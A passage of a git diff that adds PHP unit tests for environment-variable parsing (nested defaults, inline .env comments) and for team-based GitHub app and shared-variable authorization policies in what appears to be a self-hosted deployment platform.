+ $value = is_array($data) ? ($data['value'] ?? '') : $data;
+ $comment = is_array($data) ? ($data['comment'] ?? null) : null;
+
+ // Verify the extraction
+ expect($value)->toBeString();
+ expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']);
+
+ if ($key === 'KEY1') {
+ expect($value)->toBe('value1');
+ expect($comment)->toBe('comment1');
+ } elseif ($key === 'KEY2') {
+ expect($value)->toBe('value2');
+ expect($comment)->toBeNull();
+ } elseif ($key === 'KEY3') {
+ expect($value)->toBe('value3');
+ expect($comment)->toBeNull();
+ } elseif ($key === 'KEY4') {
+ expect($value)->toBe('value4');
+ expect($comment)->toBeNull();
+ }
+ }
+});
+
+test('DockerCompose handles empty array values gracefully', function () {
+ // Simulate edge case with incomplete array structure
+ $variables = [
+ 'KEY1' => ['value' => 'value1'], // Missing 'comment' key
+ 'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case)
+ 'KEY3' => [], // Empty array (edge case)
+ ];
+
+ // Test the extraction logic with improved fallback
+ foreach ($variables as $key => $data) {
+ // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
+ $value = is_array($data) ? ($data['value'] ?? '') : $data;
+ $comment = is_array($data) ? ($data['comment'] ?? null) : null;
+
+ // Verify the extraction doesn't crash
+ expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
+
+ if ($key === 'KEY1') {
+ expect($value)->toBe('value1');
+ expect($comment)->toBeNull();
+ } elseif ($key === 'KEY2') {
+ // If 'value' is missing, fallback to empty string (not the whole array)
+ expect($value)->toBe('');
+ expect($comment)->toBe('comment2');
+ } elseif ($key === 'KEY3') {
+ // If both are missing, fallback to empty string (not empty array)
+ expect($value)->toBe('');
+ expect($comment)->toBeNull();
+ }
+ }
+});
diff --git a/tests/Unit/NestedEnvironmentVariableParsingTest.php b/tests/Unit/NestedEnvironmentVariableParsingTest.php
new file mode 100644
index 000000000..65e8738cc
--- /dev/null
+++ b/tests/Unit/NestedEnvironmentVariableParsingTest.php
@@ -0,0 +1,220 @@
+not->toBeNull()
+ ->and($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
+
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split)->not->toBeNull()
+ ->and($split['variable'])->toBe('API_URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
+});
+
+test('replaceVariables correctly extracts nested variable content', function () {
+ // Before the fix, this would incorrectly extract only up to the first closing brace
+ $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}');
+
+ // Should extract the full content, not just "${API_URL:-${SERVICE_URL_YOLO"
+ expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api')
+ ->and($result->value())->not->toBe('API_URL:-${SERVICE_URL_YOLO'); // Not truncated
+});
+
+test('nested defaults with path concatenation work', function () {
+ $input = '${REDIS_URL:-${SERVICE_URL_REDIS}/db/0}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('REDIS_URL')
+ ->and($split['default'])->toBe('${SERVICE_URL_REDIS}/db/0');
+});
+
+test('deeply nested variables are handled', function () {
+ // Three levels of nesting
+ $input = '${A:-${B:-${C}}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+
+ expect($result['content'])->toBe('A:-${B:-${C}}');
+
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('A')
+ ->and($split['default'])->toBe('${B:-${C}}');
+});
+
+test('multiple nested variables in default value', function () {
+ // Default value contains multiple variable references
+ $input = '${API:-${SERVICE_URL}:${SERVICE_PORT}/api}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('API')
+ ->and($split['default'])->toBe('${SERVICE_URL}:${SERVICE_PORT}/api');
+});
+
+test('nested variables with different operators', function () {
+ // Nested variable uses different operator
+ $input = '${API_URL:-${SERVICE_URL?error message}/api}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('API_URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${SERVICE_URL?error message}/api');
+});
+
+test('backward compatibility with simple variables', function () {
+ // Simple variable without nesting should still work
+ $input = '${VAR}';
+
+ $result = replaceVariables($input);
+
+ expect($result->value())->toBe('VAR');
+});
+
+test('backward compatibility with single-level defaults', function () {
+ // Single-level default without nesting
+ $input = '${VAR:-default_value}';
+
+ $result = replaceVariables($input);
+
+ expect($result->value())->toBe('VAR:-default_value');
+
+ $split = splitOnOperatorOutsideNested($result->value());
+
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['default'])->toBe('default_value');
+});
+
+test('backward compatibility with dash operator', function () {
+ $input = '${VAR-default}';
+
+ $result = replaceVariables($input);
+ $split = splitOnOperatorOutsideNested($result->value());
+
+ expect($split['operator'])->toBe('-');
+});
+
+test('backward compatibility with colon question operator', function () {
+ $input = '${VAR:?error message}';
+
+ $result = replaceVariables($input);
+ $split = splitOnOperatorOutsideNested($result->value());
+
+ expect($split['operator'])->toBe(':?')
+ ->and($split['default'])->toBe('error message');
+});
+
+test('backward compatibility with question operator', function () {
+ $input = '${VAR?error}';
+
+ $result = replaceVariables($input);
+ $split = splitOnOperatorOutsideNested($result->value());
+
+ expect($split['operator'])->toBe('?')
+ ->and($split['default'])->toBe('error');
+});
+
+test('SERVICE_URL magic variables in nested defaults', function () {
+ // Real-world scenario: SERVICE_URL_* magic variable used in nested default
+ $input = '${DATABASE_URL:-${SERVICE_URL_POSTGRES}/mydb}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['variable'])->toBe('DATABASE_URL')
+ ->and($split['default'])->toBe('${SERVICE_URL_POSTGRES}/mydb');
+
+ // Extract the nested SERVICE_URL variable
+ $nestedResult = extractBalancedBraceContent($split['default'], 0);
+
+ expect($nestedResult['content'])->toBe('SERVICE_URL_POSTGRES');
+});
+
+test('SERVICE_FQDN magic variables in nested defaults', function () {
+ $input = '${API_HOST:-${SERVICE_FQDN_API}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['default'])->toBe('${SERVICE_FQDN_API}');
+
+ $nestedResult = extractBalancedBraceContent($split['default'], 0);
+
+ expect($nestedResult['content'])->toBe('SERVICE_FQDN_API');
+});
+
+test('complex real-world example', function () {
+ // Complex real-world scenario from the bug report
+ $input = '${API_URL:-${SERVICE_URL_YOLO}/api}';
+
+ // Step 1: Extract outer variable content
+ $result = extractBalancedBraceContent($input, 0);
+ expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
+
+ // Step 2: Split on operator
+ $split = splitOnOperatorOutsideNested($result['content']);
+ expect($split['variable'])->toBe('API_URL');
+ expect($split['operator'])->toBe(':-');
+ expect($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
+
+ // Step 3: Extract nested variable
+ $nestedResult = extractBalancedBraceContent($split['default'], 0);
+ expect($nestedResult['content'])->toBe('SERVICE_URL_YOLO');
+
+ // This verifies that:
+ // 1. API_URL should be created with value "${SERVICE_URL_YOLO}/api"
+ // 2. SERVICE_URL_YOLO should be recognized and created as magic variable
+});
+
+test('empty nested default values', function () {
+ $input = '${VAR:-${NESTED:-}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['default'])->toBe('${NESTED:-}');
+
+ $nestedResult = extractBalancedBraceContent($split['default'], 0);
+ $nestedSplit = splitOnOperatorOutsideNested($nestedResult['content']);
+
+ expect($nestedSplit['default'])->toBe('');
+});
+
+test('nested variables with complex paths', function () {
+ $input = '${CONFIG_URL:-${SERVICE_URL_CONFIG}/v2/config.json}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json');
+});
+
+test('operator precedence with nesting', function () {
+ // The first :- at depth 0 should be used, not the one inside nested braces
+ $input = '${A:-${B:-default}}';
+
+ $result = extractBalancedBraceContent($input, 0);
+ $split = splitOnOperatorOutsideNested($result['content']);
+
+ // Should split on first :- (at depth 0)
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${B:-default}'); // Not split here
+});
diff --git a/tests/Unit/NestedEnvironmentVariableTest.php b/tests/Unit/NestedEnvironmentVariableTest.php
new file mode 100644
index 000000000..81b440927
--- /dev/null
+++ b/tests/Unit/NestedEnvironmentVariableTest.php
@@ -0,0 +1,207 @@
+toBe('VAR')
+ ->and($result['start'])->toBe(1)
+ ->and($result['end'])->toBe(5);
+});
+
+test('extractBalancedBraceContent handles nested braces', function () {
+ $result = extractBalancedBraceContent('${API_URL:-${SERVICE_URL_YOLO}/api}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api')
+ ->and($result['start'])->toBe(1)
+ ->and($result['end'])->toBe(34); // Position of closing }
+});
+
+test('extractBalancedBraceContent handles triple nesting', function () {
+ $result = extractBalancedBraceContent('${A:-${B:-${C}}}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('A:-${B:-${C}}');
+});
+
+test('extractBalancedBraceContent returns null for unbalanced braces', function () {
+ $result = extractBalancedBraceContent('${VAR', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null when no braces', function () {
+ $result = extractBalancedBraceContent('VAR', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent handles startPos parameter', function () {
+ $result = extractBalancedBraceContent('foo ${VAR} bar', 4);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('VAR')
+ ->and($result['start'])->toBe(5)
+ ->and($result['end'])->toBe(9);
+});
+
+test('splitOnOperatorOutsideNested splits on :- operator', function () {
+ $split = splitOnOperatorOutsideNested('API_URL:-default_value');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('API_URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('default_value');
+});
+
+test('splitOnOperatorOutsideNested handles nested defaults', function () {
+ $split = splitOnOperatorOutsideNested('API_URL:-${SERVICE_URL_YOLO}/api');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('API_URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
+});
+
+test('splitOnOperatorOutsideNested handles dash operator', function () {
+ $split = splitOnOperatorOutsideNested('VAR-default');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe('-')
+ ->and($split['default'])->toBe('default');
+});
+
+test('splitOnOperatorOutsideNested handles colon question operator', function () {
+ $split = splitOnOperatorOutsideNested('VAR:?error message');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe(':?')
+ ->and($split['default'])->toBe('error message');
+});
+
+test('splitOnOperatorOutsideNested handles question operator', function () {
+ $split = splitOnOperatorOutsideNested('VAR?error');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe('?')
+ ->and($split['default'])->toBe('error');
+});
+
+test('splitOnOperatorOutsideNested returns null for simple variable', function () {
+ $split = splitOnOperatorOutsideNested('SIMPLE_VAR');
+
+ assertNull($split);
+});
+
+test('splitOnOperatorOutsideNested ignores operators inside nested braces', function () {
+ $split = splitOnOperatorOutsideNested('A:-${B:-default}');
+
+ assertNotNull($split);
+ // Should split on first :- (outside nested braces), not the one inside ${B:-default}
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${B:-default}');
+});
+
+test('replaceVariables handles simple variable', function () {
+ $result = replaceVariables('${VAR}');
+
+ expect($result->value())->toBe('VAR');
+});
+
+test('replaceVariables handles nested expressions', function () {
+ $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}');
+
+ expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
+});
+
+test('replaceVariables handles variable with default', function () {
+ $result = replaceVariables('${API_URL:-http://localhost}');
+
+ expect($result->value())->toBe('API_URL:-http://localhost');
+});
+
+test('replaceVariables returns unchanged for non-variable string', function () {
+ $result = replaceVariables('not_a_variable');
+
+ expect($result->value())->toBe('not_a_variable');
+});
+
+test('replaceVariables handles triple nesting', function () {
+ $result = replaceVariables('${A:-${B:-${C}}}');
+
+ expect($result->value())->toBe('A:-${B:-${C}}');
+});
+
+test('replaceVariables fallback works for malformed input', function () {
+ // When braces are unbalanced, it falls back to old behavior
+ $result = replaceVariables('${VAR');
+
+ // Old behavior would extract everything before first }
+ // But since there's no }, it will extract 'VAR' (removing ${)
+ expect($result->value())->toContain('VAR');
+});
+
+test('extractBalancedBraceContent handles complex nested expression', function () {
+ $result = extractBalancedBraceContent('${API:-${SERVICE_URL}/api/v${VERSION:-1}}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('API:-${SERVICE_URL}/api/v${VERSION:-1}');
+});
+
+test('splitOnOperatorOutsideNested handles complex nested expression', function () {
+ $split = splitOnOperatorOutsideNested('API:-${SERVICE_URL}/api/v${VERSION:-1}');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('API')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('${SERVICE_URL}/api/v${VERSION:-1}');
+});
+
+test('extractBalancedBraceContent finds second variable in string', function () {
+ $str = '${VAR1} and ${VAR2}';
+
+ // First variable
+ $result1 = extractBalancedBraceContent($str, 0);
+ assertNotNull($result1);
+ expect($result1['content'])->toBe('VAR1');
+
+ // Second variable
+ $result2 = extractBalancedBraceContent($str, $result1['end'] + 1);
+ assertNotNull($result2);
+ expect($result2['content'])->toBe('VAR2');
+});
+
+test('replaceVariables handles empty default value', function () {
+ $result = replaceVariables('${VAR:-}');
+
+ expect($result->value())->toBe('VAR:-');
+});
+
+test('splitOnOperatorOutsideNested handles empty default value', function () {
+ $split = splitOnOperatorOutsideNested('VAR:-');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('');
+});
+
+test('replaceVariables handles brace format without dollar sign', function () {
+ // This format is used by the regex capture group in magic variable detection
+ $result = replaceVariables('{SERVICE_URL_YOLO}');
+ expect($result->value())->toBe('SERVICE_URL_YOLO');
+});
+
+test('replaceVariables handles truncated brace format', function () {
+ // When regex captures {VAR from a larger expression, no closing brace
+ $result = replaceVariables('{API_URL');
+ expect($result->value())->toBe('API_URL');
+});
diff --git a/tests/Unit/ParseEnvFormatToArrayTest.php b/tests/Unit/ParseEnvFormatToArrayTest.php
new file mode 100644
index 000000000..303ff007d
--- /dev/null
+++ b/tests/Unit/ParseEnvFormatToArrayTest.php
@@ -0,0 +1,248 @@
+toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray strips inline comments from unquoted values', function () {
+ $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'NIXPACKS_NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'],
+ 'NODE_VERSION' => ['value' => '22', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray strips inline comments only when preceded by whitespace', function () {
+ $input = "KEY1=value1#nocomment\nKEY2=value2 #comment\nKEY3=value3 # comment with spaces";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1#nocomment', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => 'comment'],
+ 'KEY3' => ['value' => 'value3', 'comment' => 'comment with spaces'],
+ ]);
+});
+
+test('parseEnvFormatToArray preserves # in quoted values', function () {
+ $input = "KEY1=\"value with # hash\"\nKEY2='another # hash'";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value with # hash', 'comment' => null],
+ 'KEY2' => ['value' => 'another # hash', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles quoted values correctly', function () {
+ $input = "KEY1=\"quoted value\"\nKEY2='single quoted'";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'quoted value', 'comment' => null],
+ 'KEY2' => ['value' => 'single quoted', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray skips comment lines', function () {
+ $input = "# This is a comment\nKEY1=value1\n# Another comment\nKEY2=value2";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray skips empty lines', function () {
+ $input = "KEY1=value1\n\nKEY2=value2\n\n";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles values with equals signs', function () {
+ $input = 'KEY1=value=with=equals';
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value=with=equals', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles empty values', function () {
+ $input = "KEY1=\nKEY2=value";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => '', 'comment' => null],
+ 'KEY2' => ['value' => 'value', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles complex real-world example', function () {
+ $input = <<<'ENV'
+# Database Configuration
+DB_HOST=localhost
+DB_PORT=5432 #default postgres port
+DB_NAME="my_database"
+DB_PASSWORD='p@ssw0rd#123'
+
+# API Keys
+API_KEY=abc123 # Production key
+SECRET_KEY=xyz789
+ENV;
+
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'DB_HOST' => ['value' => 'localhost', 'comment' => null],
+ 'DB_PORT' => ['value' => '5432', 'comment' => 'default postgres port'],
+ 'DB_NAME' => ['value' => 'my_database', 'comment' => null],
+ 'DB_PASSWORD' => ['value' => 'p@ssw0rd#123', 'comment' => null],
+ 'API_KEY' => ['value' => 'abc123', 'comment' => 'Production key'],
+ 'SECRET_KEY' => ['value' => 'xyz789', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles the original bug scenario', function () {
+ $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22";
+ $result = parseEnvFormatToArray($input);
+
+ // The value should be "22", not "22 #needed for now"
+ expect($result['NIXPACKS_NODE_VERSION']['value'])->toBe('22');
+ expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('#');
+ expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('needed');
+ // And the comment should be extracted
+ expect($result['NIXPACKS_NODE_VERSION']['comment'])->toBe('needed for now');
+});
+
+test('parseEnvFormatToArray handles quoted strings with spaces before hash', function () {
+ $input = "KEY1=\"value with spaces\" #comment\nKEY2=\"another value\"";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value with spaces', 'comment' => 'comment'],
+ 'KEY2' => ['value' => 'another value', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray handles unquoted values with multiple hash symbols', function () {
+ $input = "KEY1=value1#not#comment\nKEY2=value2 # comment # with # hashes";
+ $result = parseEnvFormatToArray($input);
+
+ // KEY1: no space before #, so entire value is kept
+ // KEY2: space before first #, so everything from first space+# is stripped
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1#not#comment', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => 'comment # with # hashes'],
+ ]);
+});
+
+test('parseEnvFormatToArray handles quoted values containing hash symbols at various positions', function () {
+ $input = "KEY1=\"#starts with hash\"\nKEY2=\"hash # in middle\"\nKEY3=\"ends with hash#\"";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => '#starts with hash', 'comment' => null],
+ 'KEY2' => ['value' => 'hash # in middle', 'comment' => null],
+ 'KEY3' => ['value' => 'ends with hash#', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray trims whitespace before comments', function () {
+ $input = "KEY1=value1 #comment\nKEY2=value2\t#comment with tab";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => 'comment'],
+ 'KEY2' => ['value' => 'value2', 'comment' => 'comment with tab'],
+ ]);
+ // Values should not have trailing spaces
+ expect($result['KEY1']['value'])->not->toEndWith(' ');
+ expect($result['KEY2']['value'])->not->toEndWith("\t");
+});
+
+test('parseEnvFormatToArray preserves hash in passwords without spaces', function () {
+ $input = "PASSWORD=pass#word123\nAPI_KEY=abc#def#ghi";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'PASSWORD' => ['value' => 'pass#word123', 'comment' => null],
+ 'API_KEY' => ['value' => 'abc#def#ghi', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray strips comments with space before hash', function () {
+ $input = "PASSWORD=passw0rd #this is secure\nNODE_VERSION=22 #needed for now";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'PASSWORD' => ['value' => 'passw0rd', 'comment' => 'this is secure'],
+ 'NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'],
+ ]);
+});
+
+test('parseEnvFormatToArray extracts comments from quoted values followed by comments', function () {
+ $input = "KEY1=\"value\" #comment after quote\nKEY2='value' #another comment";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value', 'comment' => 'comment after quote'],
+ 'KEY2' => ['value' => 'value', 'comment' => 'another comment'],
+ ]);
+});
+
+test('parseEnvFormatToArray handles empty comments', function () {
+ $input = "KEY1=value #\nKEY2=value # ";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value', 'comment' => null],
+ 'KEY2' => ['value' => 'value', 'comment' => null],
+ ]);
+});
+
+test('parseEnvFormatToArray extracts multi-word comments', function () {
+ $input = 'DATABASE_URL=postgres://localhost #this is the database connection string for production';
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'DATABASE_URL' => ['value' => 'postgres://localhost', 'comment' => 'this is the database connection string for production'],
+ ]);
+});
+
+test('parseEnvFormatToArray handles mixed quoted and unquoted with comments', function () {
+ $input = "UNQUOTED=value1 #comment1\nDOUBLE=\"value2\" #comment2\nSINGLE='value3' #comment3";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'UNQUOTED' => ['value' => 'value1', 'comment' => 'comment1'],
+ 'DOUBLE' => ['value' => 'value2', 'comment' => 'comment2'],
+ 'SINGLE' => ['value' => 'value3', 'comment' => 'comment3'],
+ ]);
+});
+
+test('parseEnvFormatToArray handles the user reported case ASD=asd #asdfgg', function () {
+ $input = 'ASD=asd #asdfgg';
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'ASD' => ['value' => 'asd', 'comment' => 'asdfgg'],
+ ]);
+
+ // Specifically verify the comment is extracted
+ expect($result['ASD']['value'])->toBe('asd');
+ expect($result['ASD']['comment'])->toBe('asdfgg');
+ expect($result['ASD']['comment'])->not->toBeNull();
+});
diff --git a/tests/Unit/Policies/GithubAppPolicyTest.php b/tests/Unit/Policies/GithubAppPolicyTest.php
new file mode 100644
index 000000000..55ba7f3d3
--- /dev/null
+++ b/tests/Unit/Policies/GithubAppPolicyTest.php
@@ -0,0 +1,227 @@
+makePartial();
+
+ $policy = new GithubAppPolicy;
+ expect($policy->viewAny($user))->toBeTrue();
+});
+
+it('allows any user to view system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('allows team member to view non-system-wide github app', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('denies non-team member to view non-system-wide github app', function () {
+ $teams = collect([
+ (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeFalse();
+});
+
+it('allows admin to create github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new GithubAppPolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
+ $policy = new GithubAppPolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows user with system access to update system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies user without system access to update system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows team admin to update non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies team member to update non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows user with system access to delete system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies user without system access to delete system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('allows team admin to delete non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies team member to delete non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('denies restore of github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->restore($user, $model))->toBeFalse();
+});
+
+it('denies force delete of github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->forceDelete($user, $model))->toBeFalse();
+});
diff --git a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
new file mode 100644
index 000000000..f993978f9
--- /dev/null
+++ b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
@@ -0,0 +1,163 @@
+makePartial();
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->viewAny($user))->toBeTrue();
+});
+
+it('allows team member to view their team shared environment variable', function () {
+ $teams = collect([
